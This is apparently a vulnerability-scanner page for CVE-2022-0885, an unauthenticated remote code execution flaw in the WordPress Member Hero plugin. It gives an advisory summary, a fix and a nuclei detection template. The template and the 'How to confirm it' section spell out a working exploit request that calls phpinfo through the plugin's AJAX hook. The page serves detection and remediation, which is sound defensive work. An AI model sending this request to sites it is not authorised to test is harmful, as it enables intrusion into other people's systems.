Member Hero <=1.0.9 - Remote Code Execution

criticalseverity

9.8CVSS score

9.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

An attacker can execute arbitrary code on the target system, potentially leading to a complete compromise of the WordPress site.

Fix

Update to the latest version of the Member Hero plugin (1.0.9 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo
Positive when: contains "PHP Extension" and "PHP Version" and "<!DOCTYPE html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0885 -u <target>

The full check

id: CVE-2022-0885

info:
  name: Member Hero <=1.0.9 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    An attacker can execute arbitrary code on the target system, potentially leading to a complete compromise of the WordPress site.
  remediation: |
    Update to the latest version of the Member Hero plugin (1.0.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8b08b72e-5584-4f25-ab73-5ab0f47412df
    - https://wordpress.org/plugins/member-hero/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0885
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0885
    cwe-id: CWE-862
    epss-score: 0.09436
    epss-percentile: 0.95459
    cpe: cpe:2.3:a:memberhero:member_hero:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: memberhero
    product: member_hero
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,wp-plugin,rce,wp,wordpress,member-hero,memberhero,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "<!DOCTYPE html"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from